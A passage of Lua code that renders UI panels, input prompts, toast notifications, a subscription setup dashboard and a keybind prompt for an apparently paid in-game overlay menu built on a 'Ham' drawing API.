layout.box_y, layout.boxWidth, layout.boxHeight local primary = menu.drawing.colors.primary menu.drawing.drawInterfacePanel(boxX, boxY, boxWidth, boxHeight, scale, 1, roundNearest(10 * scale)) local badgeRadius = roundNearest(8 * scale) Ham.drawRectFilled( { layout.badgeX, layout.badgeY, layout.badgeSize, layout.badgeSize }, { primary[1], primary[2], primary[3], 32 }, badgeRadius, 8 ) Ham.drawRect( { layout.badgeX, layout.badgeY }, { layout.badgeX + layout.badgeSize, layout.badgeY + layout.badgeSize }, { primary[1], primary[2], primary[3], 110 }, 1, badgeRadius, 1 ) if menu.fonts and menu.fonts.notifyIcons then Ham.setFont(menu.fonts.notifyIcons) local icon = "\239\129\177" local iconX = layout.badgeX + roundNearest((layout.badgeSize - layout.iconSize) / 2) local iconY = layout.badgeY + roundNearest((layout.badgeSize - layout.iconSize) * 0.42) Ham.drawText(icon, { iconX, iconY }, primary, layout.iconSize, false, true, { 0, 0, 0, 160 }) Ham.drawText(icon, { iconX, iconY }, primary, layout.iconSize, false, false, {}) Ham.resetFont() end local titleFont = menu.fonts.title local bodyFont = menu.fonts.main and menu.fonts.main.font or titleFont local title = tostring(prompt.title or "Input") local muted = { 168, 168, 174, 255 } local hint = tostring(prompt.hint or "Type yes to confirm \194\183 Esc to cancel") Ham.setFont(titleFont) Ham.drawText( title, { layout.titleX, layout.titleY }, { 245, 245, 247, 255 }, layout.titleSize, false, true, { 0, 0, 0, 140 } ) Ham.drawText( title, { layout.titleX, layout.titleY }, { 245, 245, 247, 255 }, layout.titleSize, false, false, {} ) Ham.resetFont() if layout.lines and #layout.lines > 0 then Ham.setFont(bodyFont) for index, line in ipairs(layout.lines) do local lineY = layout.subtitleY + (index - 1) * (layout.subtitleSize + layout.lineGap) Ham.drawText(line, { layout.textX, lineY }, muted, layout.subtitleSize, false, true, { 0, 0, 0, 100 }) Ham.drawText(line, { layout.textX, lineY }, muted, layout.subtitleSize, false, false, {}) end Ham.resetFont() end local inputX = boxX + layout.padX local inputWidth = boxWidth - layout.padX * 2 local inputRadius = roundNearest(7 * scale) Ham.drawRectFilled({ inputX, layout.inputY, inputWidth, layout.inputH }, { 18, 18, 22, 255 }, inputRadius, 8) Ham.drawRect( { inputX, layout.inputY }, { inputX + inputWidth, layout.inputY + layout.inputH }, { 255, 255, 255, 28 }, 1, inputRadius, 1 ) prompt.blink = (prompt.blink or 0) + GetFrameTime() local cursorVisible = math.floor(prompt.blink * 2 % 2) == 0 local value = tostring(prompt.value or "") local cursor = tonumber(prompt.cursorPos) or #value cursor = math.max(0, math.min(#value, cursor)) prompt.cursorPos = cursor local inputText = value:sub(1, cursor) .. (cursorVisible and "|" or " ") .. value:sub(cursor + 1) local inputColor = { 240, 240, 242, 255 } if value == "" and prompt.placeholder and prompt.placeholder ~= "" then inputText = prompt.placeholder inputColor = { 105, 105, 112, 220 } end Ham.setFont(menu.fonts.options.font) local inputFontSize = math.max(12, roundNearest((menu.fonts.options.font_size or 15) * 0.92)) local inputTextX = inputX + roundNearest(11 * scale) local inputTextY = layout.inputY + roundNearest((layout.inputH - inputFontSize) / 2) Ham.drawText(inputText, { inputTextX, inputTextY }, inputColor, inputFontSize, false, false, {}) Ham.resetFont() Ham.setFont(bodyFont) local hintX = boxX + roundNearest(boxWidth / 2) Ham.drawText( hint, { hintX, layout.hintY }, { 108, 108, 114, 255 }, layout.hintSize, true, true, { 0, 0, 0, 80 } ) Ham.drawText(hint, { hintX, layout.hintY }, { 108, 108, 114, 255 }, layout.hintSize, true, false, {}) Ham.resetFont() end function assembledMenuDrawing.getLargeCenteredTextPromptLayout(prompt, scale, screenWidth, screenHeight) local dangerStyle = prompt.dangerStyle == true local titleSize = roundNearest(20 * scale) local subtitleSize = roundNearest(14 * scale) local hintSize = roundNearest(13 * scale) local padX = roundNearest(20 * scale) local padTop = roundNearest(18 * scale) local bottomPadding = roundNearest(18 * scale) local iconSize = dangerStyle and roundNearest(38 * scale) or 0 local iconGap = dangerStyle and roundNearest(12 * scale) or 0 local boxWidth = roundNearest(560 * scale) local bodyFont = menu.fonts.main and menu.fonts.main.font or menu.fonts.title local baseFontSize = menu.fonts.main and menu.fonts.main.font_size or 13 local textScale = subtitleSize / math.max(1, baseFontSize) local lines = menu.drawing.wrapTextPromptLines(prompt.label or "", boxWidth - padX * 2, bodyFont, subtitleSize) local lineGap = roundNearest(4 * scale) local subtitleBlockH = #lines * subtitleSize + math.max(0, #lines - 1) * lineGap local inputH = roundNearest(34 * scale) local gapAfterTitle = roundNearest(10 * scale) local gapAfterSubtitle = roundNearest(14 * scale) local bottomGap = roundNearest(12 * scale) local headerHeight = iconSize + iconGap + titleSize + gapAfterTitle local boxHeight = padTop + headerHeight + subtitleBlockH + gapAfterSubtitle + inputH + bottomGap + hintSize + bottomPadding local boxX = roundNearest((screenWidth - boxWidth) / 2) local boxY = roundNearest((screenHeight - boxHeight) / 2) local iconY = boxY + padTop local titleY = iconY + iconSize + iconGap return { box_x = boxX, box_y = boxY, boxWidth = boxWidth, boxHeight = boxHeight, padX = padX, padTop = padTop, titleSize = titleSize, subtitleSize = subtitleSize, hintSize = hintSize, lines = lines, lineGap = lineGap, subtitleBlockH = subtitleBlockH, inputH = inputH, gapAfterTitle = gapAfterTitle, gapAfterSubtitle = gapAfterSubtitle, dangerStyle = dangerStyle, iconSize = iconSize, iconCenterX = boxX + roundNearest(boxWidth / 2), iconY = iconY, titleY = titleY, subtitleY = titleY + titleSize + gapAfterTitle, hintY = boxY + boxHeight - bottomPadding - hintSize, inputY = titleY + titleSize + gapAfterTitle + subtitleBlockH + gapAfterSubtitle } end function assembledMenuDrawing.getToastPromptPanelOpts(primary, options) options = options or {} return { primary = primary, noGradient = true, overlayOnly = true, themeTintAlpha = options.themeTintAlpha or 18, logo = options.logo, logoOpts = options.logoOpts } end function assembledMenuDrawing.drawToastStylePanel(x, y, width, height, scale, options) options = options or {} local primary = options.primary or menu.drawing.colors.primary local alpha = options.alpha ~= nil and options.alpha / 255 or 1 local requestedRadius = options.cornerRadius or roundNearest(8 * scale) local cornerFlags = roundNearest(12 * scale) local radius = options.squareCorners and 0 or math.min(requestedRadius, math.floor(height / 2), math.floor(width / 2)) local backgroundAlpha = math.floor((options.bgAlpha or 255) * alpha) Ham.drawRectFilled({ x, y, width, height }, { 0, 0, 0, backgroundAlpha }, radius, cornerFlags) if options.flatTop and radius > 0 then Ham.drawRectFilled( { x, y, width, math.max(1, roundNearest(height / 2)) }, { 0, 0, 0, backgroundAlpha }, 0, 0 ) end if options.themeTintAlpha and options.themeTintAlpha > 0 and (options.alwaysThemeGradient or menu.vars.footerStyleName ~= "Black") then Ham.drawRectFilled( { x, y, width, height }, { primary[1], primary[2], primary[3], math.floor(options.themeTintAlpha * alpha) }, radius, cornerFlags ) end if not options.noGradient and (options.alwaysThemeGradient or menu.vars.footerStyleName ~= "Black") then local gradientColor = { primary[1], primary[2], primary[3], math.floor((options.gradientAlpha or 48) * alpha) } local roundedOverlay = options.roundedGlowOverlay and radius > 0 if options.gradientFullBleed and not roundedOverlay then Ham.drawRectGradient( { x, y, width, height }, gradientColor, options.gradientBottomColor or { 0, 0, 0, 0 }, true ) else if not options.gradientFullBleed and not options.overlayOnly then local inset = radius > 0 and radius or 0 if options.insetGradient and radius > inset then inset = radius end if not roundedOverlay and radius > 0 then Ham.drawRectFilled( { x, y, width, height }, { primary[1], primary[2], primary[3], math.floor((options.glowOverlayAlpha or 22) * alpha) }, radius, cornerFlags ) end local gradientWidth = width - inset * 2 local gradientHeight = height - inset * 2 if gradientWidth > 0 and gradientHeight > 0 then Ham.drawRectGradient( { x + inset, y + inset, gradientWidth, gradientHeight }, gradientColor, { 0, 0, 0, 0 }, true ) end end if roundedOverlay then Ham.drawRectFilled( { x, y, width, height }, { primary[1], primary[2], primary[3], math.floor((options.glowOverlayAlpha or 28) * alpha) }, radius, cornerFlags ) end end end if options.logo ~= false then local logoOptions = options.logoOpts or { size = roundNearest(22 * scale), padRight = roundNearest(6 * scale), padTop = roundNearest(5 * scale) } if options.alpha ~= nil then logoOptions.alpha = options.alpha end menu.drawing.drawKeyBindPromptLogo(x, y, width, height, scale, logoOptions) end end function assembledMenuDrawing.drawToastHudHeader(x, y, width, scale, title, options) options = options or {} local primary = options.primary or menu.drawing.colors.primary local padding = roundNearest(10 * scale) local textY = y + roundNearest(8 * scale) local titleSize = options.titleSize or roundNearest(13 * scale) local dotRadius = math.max(2, roundNearest(3 * scale)) local dotX = x + padding + dotRadius local dotY = textY + roundNearest(titleSize * 0.42) Ham.drawCircle({ dotX, dotY, dotRadius }, primary, 24, 1.0, true) local titleX = dotX + dotRadius + roundNearest(6 * scale) Ham.setFont(menu.fonts.title) Ham.drawText(title, { titleX, textY }, { 255, 255, 255, 255 }, titleSize, false, true, { 0, 0, 0, 160 }) Ham.drawText(title, { titleX, textY }, { 255, 255, 255, 255 }, titleSize, false, false, {}) Ham.resetFont() local separatorY = textY + titleSize + roundNearest(5 * scale) Ham.drawRectFilled( { x + padding, separatorY, width - padding * 2, 1 }, { primary[1], primary[2], primary[3], 70 }, 0, 0 ) return separatorY + roundNearest(5 * scale) end function assembledMenuDrawing.drawToastStyleBorder(x, y, width, height, scale, color, progress, alpha) progress = math.max(0, math.min(1, progress or 0)) alpha = alpha ~= nil and alpha / 255 or 1 local thickness = math.max(1, roundNearest(2 * scale)) local borderAlpha = math.floor(230 * alpha) local borderColor = { color[1], color[2], color[3], borderAlpha } local glowColor = { color[1], color[2], color[3], math.floor(borderAlpha * 0.35) } local perimeterProgress = progress * 2 * (width + height) local topLength = math.min(perimeterProgress, width) if topLength > 0 then Ham.drawRectFilled({ x, y, roundNearest(topLength), thickness }, borderColor, 0, 0) Ham.drawRectFilled({ x, y - thickness, roundNearest(topLength), thickness * 3 }, glowColor, 0, 0) end local rightLength = math.min(math.max(perimeterProgress - width, 0), height) if rightLength > 0 then Ham.drawRectFilled({ x + width - thickness, y, thickness, roundNearest(rightLength) }, borderColor, 0, 0) Ham.drawRectFilled({ x + width - thickness, y, thickness * 3, roundNearest(rightLength) }, glowColor, 0, 0) end local bottomLength = math.min(math.max(perimeterProgress - width - height, 0), width) if bottomLength > 0 then local bottomX = x + width - roundNearest(bottomLength) local bottomY = y + height - thickness Ham.drawRectFilled({ bottomX, bottomY, roundNearest(bottomLength), thickness }, borderColor, 0, 0) Ham.drawRectFilled({ bottomX, bottomY, roundNearest(bottomLength), thickness * 3 }, glowColor, 0, 0) end local leftLength = math.min(math.max(perimeterProgress - 2 * width - height, 0), height) if leftLength > 0 then local leftY = y + height - roundNearest(leftLength) Ham.drawRectFilled({ x, leftY, thickness, roundNearest(leftLength) }, borderColor, 0, 0) Ham.drawRectFilled({ x - thickness, leftY, thickness * 3, roundNearest(leftLength) }, glowColor, 0, 0) end end function assembledMenuDrawing.drawToastKeyPill(key, x, y, width, scale, color, rightMargin, yOverride) if not key or key == "" then return end local horizontalPadding = roundNearest(12 * scale) local pillHeight = roundNearest(26 * scale) local fontSize = roundNearest(14 * scale) local radius = roundNearest(6 * scale) key = tostring(key) Ham.setFont(menu.fonts.title) local textWidth = select(1, Ham.getTextWidth(key)) or 0 local contentWidth = math.max(textWidth, roundNearest(fontSize * 2)) local pillWidth = math.max(roundNearest(44 * scale), contentWidth + horizontalPadding * 2) local pillX = x + width - rightMargin - pillWidth local pillY = yOverride or y + roundNearest(10 * scale) local textX = pillX + roundNearest(pillWidth / 2) local textY = pillY + roundNearest((pillHeight - fontSize) / 2) Ham.drawRectFilled({ pillX, pillY, pillWidth, pillHeight }, { color[1], color[2], color[3], 255 }, radius, 8) Ham.drawText(key, { textX, textY }, { 255, 255, 255, 255 }, fontSize, true, true, { 0, 0, 0, 160 }) Ham.drawText(key, { textX, textY }, { 255, 255, 255, 255 }, fontSize, true, false, {}) Ham.resetFont() end function assembledMenuDrawing.getKeyBindPromptBox(scale, screenWidth, screenHeight) local width = roundNearest(360 * scale) local height = roundNearest(78 * scale) local x = roundNearest((screenWidth - width) / 2) local y = roundNearest(screenHeight * 0.72) - roundNearest(height / 2) return x, y, width, height end function assembledMenuDrawing.getSubscriptionSetupAnim(scale) local startTime = menu.vars and (menu.vars._initSetupAnimStart or menu.vars._initKeybindAnimStart) if not startTime then return 1, 0 end local progress = math.min(1, (GetGameTimer() - startTime) / 900) progress = 1 - (1 - progress) * (1 - progress) return progress, roundNearest((1 - progress) * 36 * (scale or 1)) end function assembledMenuDrawing.getSubscriptionSetupLayout() if not (menu.fonts and menu.fonts.title) then return nil end local scale = menu.vars.scale or 1 local screenWidth, screenHeight = Ham.getResolution() local pad = roundNearest(20 * scale) local leftWidth = roundNearest(155 * scale) local rightWidth = roundNearest(260 * scale) local boxWidth = pad + leftWidth + rightWidth + rightWidth + pad local boxHeight = roundNearest(275 * scale) local boxX = roundNearest((screenWidth - boxWidth) / 2) local boxY = roundNearest((screenHeight - boxHeight) / 2) local progress, verticalOffset = menu.drawing.getSubscriptionSetupAnim(scale) boxY = boxY + (verticalOffset or 0) local brandSize = roundNearest(17 * scale) local titleSize = roundNearest(21 * scale) local subtitleSize = roundNearest(12 * scale) local linkSize = roundNearest(13 * scale) local actionSize = roundNearest(14 * scale) local lineGap = roundNearest(2 * scale) local line1Size = linkSize + lineGap local linkIconSize = roundNearest(22 * scale) local linkIconGap = roundNearest(4 * scale) local cardInnerPad = roundNearest(4 * scale) local cardHeight = roundNearest(52 * scale) local avatarSize = linkSize local avatarRadius = math.max(1, roundNearest(avatarSize / 2)) local usernameHeight = linkSize local titleFont = menu.fonts.title local bodyFont = menu.fonts.main and menu.fonts.main.font or titleFont local baseFontSize = menu.fonts.main and menu.fonts.main.font_size or 13 Ham.setFont(titleFont) local websiteWidth = select(1, Ham.getTextWidth("Website")) or roundNearest(56 * scale) local discordWidth = select(1, Ham.getTextWidth("Customer Discord")) or roundNearest(120 * scale) Ham.setFont(bodyFont) local loadWidth = select(1, Ham.getTextWidth("Load")) or roundNearest(30 * scale) local unavailableWidth = select(1, Ham.getTextWidth("Unavailable")) or roundNearest(68 * scale) Ham.resetFont() local actionScale = actionSize / math.max(1, baseFontSize) loadWidth = roundNearest(loadWidth * actionScale) unavailableWidth = roundNearest(unavailableWidth * actionScale) local brandY = boxY + pad local rightX = boxX + pad + leftWidth local titleY = brandY local subtitleY = titleY + titleSize + roundNearest(4 * scale) local cardY = subtitleY + subtitleSize + roundNearest(16 * scale) local line2Size = roundNearest(10 * scale) local textLineGap = roundNearest(1 * scale) local iconSize = line1Size + textLineGap + line2Size local loadButtonWidth = loadWidth + roundNearest(7 * scale) local loadButtonHeight = actionSize + roundNearest(4 * scale) local loadButtonX = boxX + boxWidth - pad - loadButtonWidth local keyboardLoadY = cardY + line1Size + textLineGap + roundNearest((line2Size - actionSize) / 2) local mouseCardY = cardY + cardHeight + roundNearest(14 * scale) local mouseLoadY = mouseCardY + line1Size + textLineGap + roundNearest((line2Size - actionSize) / 2) local websiteY = cardY + roundNearest(5 * scale) local footerY = boxY + boxHeight - pad - avatarSize local websiteLinkHeight = linkIconSize + roundNearest(2 * scale) local websiteLinkWidth = linkIconSize + linkIconGap + websiteWidth local discordLinkWidth = linkIconSize + roundNearest(3 * scale) + discordWidth local discordY = websiteY + linkIconSize + roundNearest(12 * scale) local footerTextGap = roundNearest(6 * scale) local cardWidth = loadButtonX + loadButtonWidth - rightX local layout = { scale = scale, box_x = boxX, box_y = boxY, boxWidth = boxWidth, boxHeight = boxHeight, pad = pad, titleSize = titleSize, subtitleSize = subtitleSize, linkSize = linkSize, actionSize = actionSize, brandSize = brandSize, brandY = brandY, rightX = rightX, cardW = cardWidth, cardH = cardHeight, cardX = rightX, cardY = cardY, cardInnerPad = cardInnerPad, line1Size = line1Size, line2Size = line2Size, lineGap = textLineGap, iconSize = iconSize, iconX = rightX, textX = rightX + iconSize + roundNearest(7 * scale), loadBtnH = loadButtonHeight, footerY = footerY, usernameH = usernameHeight, avatarR = avatarRadius, avatarSize = avatarSize, titleY = titleY, subtitleY = subtitleY, linkX = boxX + pad, linkIconSize = linkIconSize, linkIconGap = linkIconGap, linkGlyphSize = line1Size, websiteLink = { x = boxX + pad, y = websiteY, w = websiteLinkWidth, h = websiteLinkHeight }, discordLink = { x = boxX + pad, y = discordY, w = discordLinkWidth, h = websiteLinkHeight }, keyboardCard = { x = rightX, y = cardY, w = cardWidth, h = cardHeight }, mouseCard = { x = rightX, y = mouseCardY, w = cardWidth, h = cardHeight }, loadBtn = { x = loadButtonX, y = keyboardLoadY, w = loadButtonWidth, h = loadButtonHeight }, mouseLoadBtn = { x = boxX + boxWidth - pad - unavailableWidth, y = mouseLoadY, w = unavailableWidth, h = loadButtonHeight }, footerLogoSize = roundNearest(26 * scale), avatarX = boxX + pad, avatarY = footerY, usernameBar = { x = boxX + pad + avatarSize + footerTextGap, y = footerY + roundNearest((avatarSize - usernameHeight) / 2), w = roundNearest(80 * scale), h = usernameHeight } } return layout end function assembledMenuDrawing.drawHalloweenPanel(x, y, width, height, scale, alpha, radius) radius = radius or roundNearest(14 * scale) local function fade(color) local result = {} local packed = table.pack(math.floor((color[4] or 255) * alpha)) rawset(result, 1, color[1]) rawset(result, 2, color[2]) rawset(result, 3, color[3]) for index = 1, packed.n do rawset(result, 3 + index, packed[index]) end return result end local rowStep = math.max(1, roundNearest(2 * scale)) for row = 0, height - 1, rowStep do local rowHeight = math.min(rowStep, height - row) local fraction = row / math.max(1, height - 1) local brightness = (1 - fraction) * (1 - fraction) Ham.pushClipRect({ x - 1, y + row }, { x + width + 1, y + row + rowHeight }, true) local accent = menu.drawing.getKeyBindPromptAccent() Ham.drawRectFilled( { x, y, width, height }, fade({ math.floor(5 + accent[1] * 0.1 * brightness), math.floor(5 + accent[2] * 0.1 * brightness), math.floor(5 + accent[3] * 0.1 * brightness), 255 }), radius, 0 ) Ham.popClipRect() end end function assembledMenuDrawing.drawSubscriptionSetup(hoverState) if not (menu.fonts and menu.fonts.title) then return end if menu.textureLoading and menu.textureLoading.ensureNotifyLogoLoading then menu.textureLoading.ensureNotifyLogoLoading() end if menu.textureLoading and menu.textureLoading.ensureVanityBrandLogoLoading then menu.textureLoading.ensureVanityBrandLogoLoading() end local layout = menu.drawing.getSubscriptionSetupLayout() if not layout then return end menu.vars._subscriptionSetupLayout = layout hoverState = hoverState or {} local scale = layout.scale local alpha = select(1, menu.drawing.getSubscriptionSetupAnim(scale)) if alpha <= 0 then return end local function fade(color) local result = {} local packed = table.pack(math.floor((color[4] or 255) * alpha)) rawset(result, 1, color[1]) rawset(result, 2, color[2]) rawset(result, 3, color[3]) for index = 1, packed.n do rawset(result, 3 + index, packed[index]) end return result end local white = fade({ 255, 255, 255, 255 }) local muted = fade({ 160, 160, 160, 255 }) local soft = fade({ 200, 200, 200, 255 }) local titleFont = menu.fonts.title local bodyFont = menu.fonts.main and menu.fonts.main.font or titleFont local panelRadius = roundNearest(14 * scale) local hover = menu.vars._setupHoverAnims if not hover then hover = { website = 0, discord = 0, load = 0 } menu.vars._setupHoverAnims = hover end local now = GetGameTimer() local lastTime = menu.vars._setupHoverAnimLast or now local deltaTime = math.min(0.05, math.max(0, (now - lastTime) / 1000)) menu.vars._setupHoverAnimLast = now local function approach(current, target) local value = current + (target - current) * math.min(1, 14 * deltaTime) if math.abs(target - value) < 0.01 then return target end return value end hover.website = approach(hover.website or 0, hoverState.website and 1 or 0) hover.discord = approach(hover.discord or 0, hoverState.discord and 1 or 0) hover.load = approach(hover.load or 0, hoverState.load and 1 or 0) local function hoverColor(amount) local channel = math.floor(200 * (1 - amount) + 255 * amount) return fade({ channel, channel, channel, 255 }) end local function drawUnderline(x, y, text, fontSize, amount, color) if amount <= 0.01 then return end Ham.setFont(bodyFont) local textWidth = select(1, Ham.getTextWidth(text)) or roundNearest(40 * scale) local baseSize = menu.fonts.main and menu.fonts.main.font_size or 13 local scaledWidth = roundNearest(textWidth * fontSize / math.max(1, baseSize)) local underlineWidth = math.max(1, roundNearest(scaledWidth * amount)) local underlineHeight = math.max(1, roundNearest(1 * scale)) local underlineY = y + fontSize + roundNearest(2 * scale) local underlineAlpha = math.floor((color[4] or 255) * (0.35 + 0.55 * amount)) Ham.drawRectFilled( { x, underlineY, underlineWidth, underlineHeight }, { color[1], color[2], color[3], underlineAlpha }, 0, 0 ) end local function drawPair(text, x, y, color, size, shadowAlpha) Ham.drawText(text, { x, y }, color, size, false, true, { 0, 0, 0, shadowAlpha or 100 }) Ham.drawText(text, { x, y }, color, size, false, false, {}) end menu.drawing.drawInterfacePanel( layout.box_x, layout.box_y, layout.boxWidth, layout.boxHeight, scale, alpha, panelRadius ) Ham.setFont(titleFont) local brandX = layout.box_x + layout.pad local brandWidth = roundNearest(92 * scale) local brandHeight = roundNearest(28 * scale) if menu.textures and menu.textures.vanityBrandLogo and Ham.drawTexture then Ham.drawTexture( menu.textures.vanityBrandLogo, { brandX, layout.brandY }, { brandX + brandWidth, layout.brandY + brandHeight }, fade({ 255, 255, 255, 255 }), 0, {} ) else drawPair("Vanity", brandX, layout.brandY, white, layout.brandSize, 180) end drawPair("Dashboard", layout.rightX, layout.titleY, white, layout.titleSize, 160) Ham.resetFont() Ham.setFont(bodyFont) drawPair("Available interfaces", layout.rightX, layout.subtitleY, muted, layout.subtitleSize, 100) local iconSize = layout.linkIconSize or roundNearest(22 * scale) local iconGap = layout.linkIconGap or roundNearest(4 * scale) local glyphSize = layout.linkSize + roundNearest(2 * scale) local hoverOffsetScale = roundNearest(3 * scale) local websiteAmount = hover.website or 0 local websiteColor = hoverColor(websiteAmount) local websiteOffset = roundNearest(hoverOffsetScale * websiteAmount) local websiteTextY = layout.websiteLink.y + roundNearest((iconSize - layout.linkSize) / 2) local websiteIconY = layout.websiteLink.y + roundNearest((iconSize - glyphSize) / 2) local websiteIconX = layout.linkX + websiteOffset local websiteTextX = layout.linkX + iconSize + iconGap + websiteOffset if menu.fonts and menu.fonts.faSolid and menu.ICON_EARTH_AMERICAS then Ham.setFont(menu.fonts.faSolid) drawPair(menu.ICON_EARTH_AMERICAS, websiteIconX, websiteIconY, websiteColor, glyphSize, 100) Ham.resetFont() Ham.setFont(bodyFont) end drawPair("Website", websiteTextX, websiteTextY, websiteColor, layout.linkSize, 100) drawUnderline(websiteTextX, websiteTextY, "Website", layout.linkSize, websiteAmount, websiteColor) local discordAmount = hover.discord or 0 local discordColor = hoverColor(discordAmount) local discordOffset = roundNearest(hoverOffsetScale * discordAmount) local discordGap = iconGap + roundNearest(3 * scale) local discordTextY = layout.discordLink.y + roundNearest((iconSize - layout.linkSize) / 2) local discordIconY = layout.discordLink.y + roundNearest((iconSize - glyphSize) / 2) local discordIconX = layout.linkX + discordOffset local discordTextX = layout.linkX + iconSize + discordGap + discordOffset if menu.fonts and menu.fonts.faBrands and menu.ICON_DISCORD then Ham.setFont(menu.fonts.faBrands) drawPair(menu.ICON_DISCORD, discordIconX, discordIconY, discordColor, glyphSize, 100) Ham.resetFont() Ham.setFont(bodyFont) end drawPair("Customer Discord", discordTextX, discordTextY, discordColor, layout.linkSize, 100) drawUnderline(discordTextX, discordTextY, "Customer Discord", layout.linkSize, discordAmount, discordColor) Ham.resetFont() local line1Size = layout.line1Size or layout.linkSize local line2Size = layout.line2Size or roundNearest(11 * scale) local lineGap = layout.lineGap or roundNearest(1 * scale) local cardIconSize = layout.iconSize or line1Size + lineGap + line2Size local logo = menu.textures and menu.textures.notifyLogo local baseFontSize = menu.fonts.main and menu.fonts.main.font_size or 13 local workingColor = fade({ 76, 175, 80, 255 }) local developmentColor = fade({ 255, 152, 0, 255 }) local function drawInterfaceCard( cardY, title, description, status, statusColor, action, actionX, actionColor, actionHover ) local line2Y = cardY + line1Size + lineGap local statusY = line2Y + line2Size + lineGap if logo and Ham.drawTexture then Ham.drawTexture( logo, { layout.iconX, cardY }, { layout.iconX + cardIconSize, cardY + cardIconSize }, fade({ 255, 255, 255, 255 }), 0, {} ) end Ham.setFont(bodyFont) drawPair(title, layout.textX, cardY, white, line1Size, 100) Ham.drawText(description, { layout.textX, line2Y }, muted, line2Size, false, false, {}) local prefixWidth = select(1, Ham.getTextWidth("Status: ")) or roundNearest(40 * scale) prefixWidth = roundNearest(prefixWidth * line2Size / math.max(1, baseFontSize)) drawPair("Status: ", layout.textX, statusY, soft, line2Size, 100) Ham.drawText(status, { layout.textX + prefixWidth, statusY }, statusColor, line2Size, false, false, {}) local actionSize = layout.actionSize or layout.linkSize local actionY = line2Y + roundNearest((line2Size - actionSize) / 2) local amount = actionHover or 0 local shiftedActionX = actionX - roundNearest(hoverOffsetScale * amount) drawPair(action, shiftedActionX, actionY, actionColor, actionSize, 100) if amount > 0.01 then drawUnderline(shiftedActionX, actionY, action, actionSize, amount, actionColor) end Ham.resetFont() end drawInterfaceCard( layout.keyboardCard.y, "Keyboard UI", "controllable via arrow keys", "Working", workingColor, "Load", layout.loadBtn.x, fade(menu.drawing.colors.primary), hover.load or 0 ) if layout.mouseCard and layout.mouseLoadBtn then drawInterfaceCard( layout.mouseCard.y, "Mouse UI", "controllable via mouse", "Under development", developmentColor, "Unavailable", layout.mouseLoadBtn.x, soft, 0 ) end if menu.fonts and menu.fonts.faRegular and menu.ICON_USER then Ham.setFont(menu.fonts.faRegular) drawPair(menu.ICON_USER, layout.avatarX, layout.avatarY, white, layout.linkSize, 100) Ham.resetFont() end local username if menu.utils and menu.utils.resolveHamUserName then username = menu.utils.resolveHamUserName() end if not username and Ham.getName then username = Ham.getName() end username = tostring(username or "User") Ham.setFont(bodyFont) Ham.drawText(username, { layout.usernameBar.x, layout.avatarY }, white, layout.linkSize, false, false, {}) Ham.resetFont() end function assembledMenuDrawing.drawKeyBindPrompt() if menu.vars.blacklisted or menu.vars.pendingBlacklistMessage then return end if menu.vars.initLoading and menu.vars.initLoading.active then return end if menu.vars.initSetupActive and menu.drawing.drawSubscriptionSetup then menu.drawing.drawSubscriptionSetup({}) return end if not (menu.fonts and menu.fonts.title) then return end if menu.textureLoading and menu.textureLoading.ensureNotifyLogoLoading then menu.textureLoading.ensureNotifyLogoLoading() end local scale = menu.vars.scale or 1 local alpha, verticalOffset = menu.drawing.getSubscriptionSetupAnim(scale) if alpha <= 0 then return end local function fade(color) local result = {} local packed = table.pack(math.floor((color[4] or 255) * alpha)) rawset(result, 1, color[1]) rawset(result, 2, color[2]) rawset(result, 3, color[3]) for index = 1, packed.n do rawset(result, 3 + index, packed[index]) end return result end local screenWidth, screenHeight = Ham.getResolution() local boxX, boxY, boxWidth, boxHeight = menu.drawing.getKeyBindPromptBox(scale, screenWidth, screenHeight) boxY = boxY + (verticalOffset or 0) local white = fade({ 255, 255, 255, 255 }) local subtitleColor = fade({ 255, 255, 255, 230 }) local hintColor = fade({ 200, 200, 200, 235 }) local keyColor = fade({ 230, 230, 230, 255 }) Ham.drawRectFilled({ boxX, boxY, boxWidth, boxHeight }, fade({ 0, 0, 0, 255 }), roundNearest(14 * scale), 14) menu.drawing.drawHalloweenPanel(boxX, boxY, boxWidth, boxHeight, scale, alpha) local padding = roundNearest(16 * scale) local titleY = boxY + roundNearest(14 * scale) local title = "Menu Keybind" local subtitle = "Choose the key that opens the menu" local hint = "Press any key | ENTER keeps current" local keyName = menu.vars.boundKeyName or "F5" local now = GetGameTimer() if now < (menu.vars.bindCompleteTime or 0) then subtitle = "Screen bound to: " .. tostring(menu.vars.boundKeyName or "") hint = "" keyName = menu.vars.boundKeyName or "" elseif menu.vars.pendingBindKeyName then subtitle = "Press Enter to confirm" hint = "Press another key to change" keyName = menu.vars.pendingBindKeyName end local titleSize = roundNearest(18 * scale) local subtitleSize = roundNearest(13 * scale) local hintSize = roundNearest(13 * scale) local titleFont = menu.fonts.title local bodyFont = menu.fonts.main and menu.fonts.main.font or titleFont local logoSize = roundNearest(22 * scale) local dotRadius = math.max(2, roundNearest(3 * scale)) local dotX = boxX + padding + dotRadius local dotY = titleY + roundNearest(titleSize * 0.42) Ham.drawCircle({ dotX, dotY, dotRadius }, fade(menu.drawing.getKeyBindPromptAccent()), 24, 1.0, true) local titleX = dotX + dotRadius + roundNearest(7 * scale) Ham.setFont(titleFont) Ham.drawText(title, { titleX, titleY }, white, titleSize, false, true, { 0, 0, 0, 160 }) Ham.drawText(title, { titleX, titleY }, white, titleSize, false, false, {}) local logoX = boxX + boxWidth - padding - logoSize local logoY = titleY + roundNearest((titleSize - logoSize) / 2) if menu.textures and menu.textures.notifyLogo and Ham.drawTexture then Ham.drawTexture( menu.textures.notifyLogo, { logoX, logoY }, { logoX + logoSize, logoY + logoSize }, white, 0, {} ) end if keyName and keyName ~= "" then local keySize = roundNearest(14 * scale) local measuredWidth = select(1, Ham.getTextWidth(tostring(keyName))) or roundNearest(40 * scale) local keyWidth = roundNearest(measuredWidth * keySize / 14) local pillHeight = math.max(roundNearest(26 * scale), keySize + roundNearest(5 * scale) * 2) local pillWidth = math.max(roundNearest(48 * scale), keyWidth + roundNearest(10 * scale) * 2) local pillX = logoX - roundNearest(8 * scale) - pillWidth local pillY = titleY + roundNearest((titleSize - pillHeight) / 2) Ham.drawRectFilled( { pillX, pillY, pillWidth, pillHeight }, fade(menu.drawing.colors.primary_dark or { 10, 74, 10, 255 }), roundNearest(4 * scale), 8 ) local textX = pillX + roundNearest(pillWidth / 2) local textY = pillY + roundNearest((pillHeight - keySize) / 2) Ham.drawText(tostring(keyName), { textX, textY }, white, keySize, true, true, { 0, 0, 0, 120 }) Ham.drawText(tostring(keyName), { textX, textY }, white, keySize, true, false, {}) end Ham.resetFont() local subtitleY = titleY + titleSize + roundNearest(5 * scale) Ham.setFont(bodyFont) Ham.drawText(subtitle, { titleX, subtitleY }, subtitleColor, 